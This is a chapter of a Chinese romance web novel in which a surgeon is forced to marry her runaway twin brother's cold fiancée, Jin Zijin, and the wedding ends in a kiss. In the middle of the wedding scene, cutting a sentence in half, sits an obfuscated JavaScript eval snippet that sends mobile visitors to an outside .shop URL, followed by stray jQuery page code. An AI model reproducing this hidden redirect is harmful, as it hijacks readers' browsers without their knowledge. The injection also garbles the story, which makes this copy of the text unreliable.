1. 忽然结婚啦:01

作品:《和冰山大小姐先婚后爱

    “八十……八十……”


    沉闷而规律的号子声,突兀地回荡在无菌洁净的骨科手术室里。


    循声望去,主刀医生温言正穿着厚重的无菌服,手里握着骨科锤,死死盯着患者断裂的肱骨部,精准而沉稳地向下敲击。


    “八十……八十……”


    锤子每一下都力道均匀,配合着嘴里默念的节拍,节奏鲜明得惊人。


    温言额角的汗水顺着口罩边缘滑落,砸在手术台旁的地砖上,晕开一小片湿痕。


    “温医生,复位到位了!”


    器械护士盯着显示屏上的影像,语气里满是敬佩。


    温言应声停下动作,手腕一转,将骨科锤递回去。


    她的声音透过口罩传来,带着几分刚发力后的沙哑:“准备固定。”


    又是一个小时的精细操作,当最后一根螺钉拧紧,缝合完毕,温言才松了口气,抬手扯下口罩,露出一张格外清爽利落的脸。


    刚走出手术室,还没来得及喝口温水,口袋里的手机就疯狂震动起来,屏幕上“妈妈”的两个字跳动得格外急切。


    温言心头一沉,按下接听键:“喂,妈妈。”


    “言言!不好了!出大事了!”电话那头,母亲的声音带着哭腔,慌乱得不成样子,“你哥……你哥跑了!”


    “明天就是他和靳家大小姐的婚礼啊!宾客都请完了,酒店也布置好了,这可怎么办啊!”


    温辰跑了?


    温言握着手机的手指微微一紧,眉头瞬间蹙起。


    温辰是她的双胞胎哥哥,性子向来懦弱又爱逃避。


    当初同意入赘靳家,也是被父母半劝半逼,如今临阵脱逃,倒也不算太意外,只是这时机实在太糟。


    “妈,你先别急。”温言强迫自己冷静下来,声音沉稳,“明天才婚礼,现在还有时间。”


    “先让爸爸跟靳家那边沟通一下,看看能不能暂缓,我们这边也赶紧找人。我现在下班,马上回家。”


    挂了电话,温言简单交代了几句工作,抓起外套就往停车场跑。


    车子驶出医院大门,夜色已经降临,路灯次第亮起,映得她脸上满是凝重。


    靳家是真正的老钱世家,底蕴深厚,人脉通天。


    这次哥哥逃婚,无疑是狠狠打了靳家的脸,温家能不能扛住这波怒火,还是个未知数。


    偏生就在她回家的路上,手机里弹出一条陌生手机的消息。


    温言抽空扫了一眼,发现是她便宜哥哥发的:“妹啊!靳子衿就是个冰山女魔头,和她在一起你哥我这辈子都不会幸福的。”


    “看在小时候我帮你偷身份证离家出走的份上,你就帮我顶了这桩婚事吧!”


    温言心里一咯噔,连忙拨通电话过去。结果等待她的,是一串忙音……


    温辰那个狗东西,竟然把她拉黑了!


    好好好!


    温言气得咬牙切齿,怒火中烧。


    一路风驰电掣,四十分钟后,温言把车停在别墅的地下停车场,快步上楼。


    电梯门刚打开,她就听见屋里传来此起彼伏的说话声,不止她父母,似乎还有其他人。


    她心里咯噔一下,迈步而入,走向客厅。


    客厅里灯火通明,气氛却压抑得让人喘不过气。


    她家父母坐在沙发一侧,脸色苍白,手足无措。


    对面沙发上,坐着一对气质雍容华贵的中年夫妇,正是靳家的父母,脸色铁青,显然怒极。


    而最引人注目的,是主位上坐着的那个女人。


    靳子衿。


    温言只见过她三面。


    第一次是两家定亲的饭局,第二次是拍订婚照,第三次是确认婚礼流程,每一次都隔着遥远的距离,只记得她清冷的眉眼和拒人于千里之外的气场。


    此刻,靳子衿穿着一身剪裁得体的黑色丝绒长裙,姿态慵懒地靠在沙发背上,乌黑的长发松松挽起,露出纤细白皙的脖颈。


    她的右手漫不经心地摩挲着杯沿,明明是坐着,却自带一股强大的压迫感,仿佛整个客厅的主动权都握在她手里。


    听到开门声,所有人的目光都齐刷刷地投向门口。


    温言僵在原地,有些尴尬地抬手打了个招呼:“叔叔阿姨,靳小姐,爸妈。”


    靳子衿抬眸看来,那双深邃的眼眸像寒潭,不起一丝波澜,却带着穿透力,在她身上淡淡扫过,又很快收回。


    女人继续慢条斯理地开口,声音清冷悦耳,却带着不容置疑的决断:“既然温医生回来了,那我们就把话说明白。”


    “明天的婚礼,宾客已经全部到齐,国内外的合作伙伴,亲友长辈,一个不少,婚礼必须照常进行。”


    温父连忙站起身,脸上满是歉意和讨好:“子衿你放心!我们已经动用了所有关系,全城搜捕温辰,一定能把他找回来!绝对不会耽误明天的婚礼!”


    靳家父亲冷哼一声,语气里满是不耐:“全城搜捕?温辰既然敢逃,就是不顾两家的颜面。我靳家家大业大,难道还看得上一个逃兵?”


    靳子衿轻轻抬手,制止了靳父的怒火。


    她的指尖依旧摩挲着杯沿,语气平静无波:“既然温辰已经逃了,那就用不着他了。”


    这话一出,客厅里瞬间安静下来。


    温母愣了愣,小心翼翼地问:“那……那明天的婚礼,找谁来办啊?所有流程都定好了,总不能临时取消吧?”


    所有人的目光都聚焦在靳子衿身上,等着她的答案。


    靳子衿缓缓抬起手,修长白皙的手指,精准无误地指向了刚站定在门口,还没来得及换鞋的温言。


    “这不还有一个吗?”


    她的声音很轻,却像一颗石子投入平静的湖面,瞬间激起千层浪。


    “我?”温言指着自己的鼻子,一脸难以置信,“靳小姐,你没开玩笑吧?我是女性,而且……”


    “女性又如何?”靳子衿打断她的话,微微挑眉,清冷的眼眸里闪过一丝不易察觉的狡黠,“都什么年代了,同性也可以结婚。法律认可,亲友见证,有何不可?”


    她顿了顿,目光扫过在场的两家父母,语气带着不容反驳的强势:“温辰逃婚,是温家失信在先。如今要么让温言顶上,婚礼照常,靳温两家的合作和交情继续。”


    “要么,婚礼取消,靳家收回所有资源,同时追究温家的违约责任。”


    这话直接戳中了温家的软肋。


    温家全指望靳家的资源周转,哪里敢承担违约责任?


    温父温母对视一眼,都从对方眼里看到了挣扎和无奈。


    一边是女儿的人生,一边是全家的生计,权衡之下,竟不约而同地看向温言,眼神里带着哀求。


    靳家父母显然也默认了这个提议,靳母甚至开口打圆场:“言言这孩子,我们也见过几次,沉稳能干,配得上子衿。”


    “既然子衿都不介意,我看这事可行。”


    温言看着眼前这荒诞的一幕,只觉得脑袋嗡嗡作响。


    她原本以为回家是商量怎么解决哥哥逃婚的事,结果却被直接推上了风口浪尖,成了哥哥的“替代品”。


    她想反驳,想拒绝,可看着父母愁苦的脸,看着靳子衿那副胸有成竹,掌控一切的模样,话到了嘴边,竟硬生生咽了回去。


    就这样,在靳子衿一句“同性也能结婚”的强势主导下,温言稀里糊涂地被推上了明天的婚礼礼台。


    第二天,阳光明媚,靳家名下的半岛酒店宴会厅里,宾客满座,衣香鬓影。


    温言长发盘起,穿着一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971337|193453||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    身宽大的黑色西服,站在红毯的另一端,整个人都是恍惚的。


    那是原本为温辰准备的尺码,套在她身上空荡荡的,显得格外滑稽。


    看着热闹的婚礼现场,温言脑海里不断循环着同一个问题:她是谁?她在做什么?她为什么会站在这里?


    明明昨天她还在手术室里抡着骨科锤,喊着“八十、八十”,怎么今天就换上了西装,要和只见过三面的靳子衿结婚了?


    这一切都太不真实了,像一场光怪陆离的梦。


    就在她神游天外的时候,熟悉的婚礼进行曲突然“当当当”地响了起来,悠扬而庄重,却像一记记重锤,敲在温言的心上。


    她下意识地扭头看向宴会厅的入口。


    只见靳子衿穿着一身洁白的鱼尾婚纱,裙摆层层叠叠,缀满了细碎的水晶,在灯光下折射出耀眼的光芒。


    她的长发挽成精致的发髻,戴着祖上传下来的珍珠王冠,妆容淡雅却难掩绝色。


    最让人意外的是,她并非搀扶着父亲走来,而是由一位头发花白,精神矍铄的老太太搀扶着,一步步踏上红毯,朝着温言的方向走来。


    那是靳家的老祖母靳霜叶,靳家真正的定海神针。


    连老祖母都亲自出面,足以见得靳家对这场“换了人”的婚礼,依旧极为重视。


    温言的心跳莫名加快,看着靳子衿一步步靠近。


    距离拉近,她能清晰地看到对方眼睫上细碎的高光,看到她唇上淡粉的唇釉,还有那双依旧清冷,却似乎比往日柔和了些许的眼眸。


    走到她面前,靳子衿微微抬眸,目光落在她脸上,没有说话,只是微微颔首。


    司仪的声音适时响起,温和而富有磁性:“请两位新人交换戒指。”


    工作人员递上戒指盒,里面是两枚设计简约的铂金戒指。


    温言机械地拿起其中一枚,看向靳子衿伸出的手。


    那双手白皙修长,指甲修剪得干净整齐,透着健康的粉色,和她清冷的气质截然不同。


    她小心翼翼地将戒指套进靳子衿的无名指,触感微凉,却带着一种奇异的重量。


    靳子衿也拿起另一枚戒指,动作优雅而从容,将它戴在了温言的手上。


    金属的冰凉触感传来,像是一道无形的枷锁,彻底将两人捆绑在了一起。


    “现在,有请两位新人亲吻彼此。”


    司仪的话音落下,宾客们响起了善意的掌声和起哄声。


    温言僵在原地,大脑一片空白。


    亲吻?


    和靳子衿?


    还没等她反应过来,眼前的人微微倾身,靠近了她。


    一股淡淡的冷香萦绕在鼻尖,是靳子衿身上惯有的味道,清冽如寒梅,却又带着一丝不易察觉的甜。


    下一秒,温热柔软的触感覆上了她的唇。


    很轻,很短暂,却像一道电流,瞬间窜遍了温言的全身。


    她愣住了。


    不是冰凉的,一点也不是。


    靳子衿的唇瓣很烫,带着温热的气息,甚至能感受到她微微颤抖的睫毛,扫过自己的脸颊,带来一阵细密的痒意。


    传说中那个冷得像冰山,不近人情的女魔头,此刻竟带着这样惊人的温度。


    一吻落下,靳子衿率先退开,脸颊上泛起一层淡淡的红晕,快得让人以为是错觉。


    她重新垂下眼眸,掩去眼底的情绪,恢复了往日的清冷。


    而温言,却像是被施了定身咒,站在原地,心脏狂跳不止,脸上也烫得惊人。


    婚礼进行曲还在继续,宾客的掌声此起彼伏,可她却什么也听不见了,什么也看不见了。


    脑海里只剩下一个荒诞到极致的念头——


    这个女人的唇,真的好软,也好香。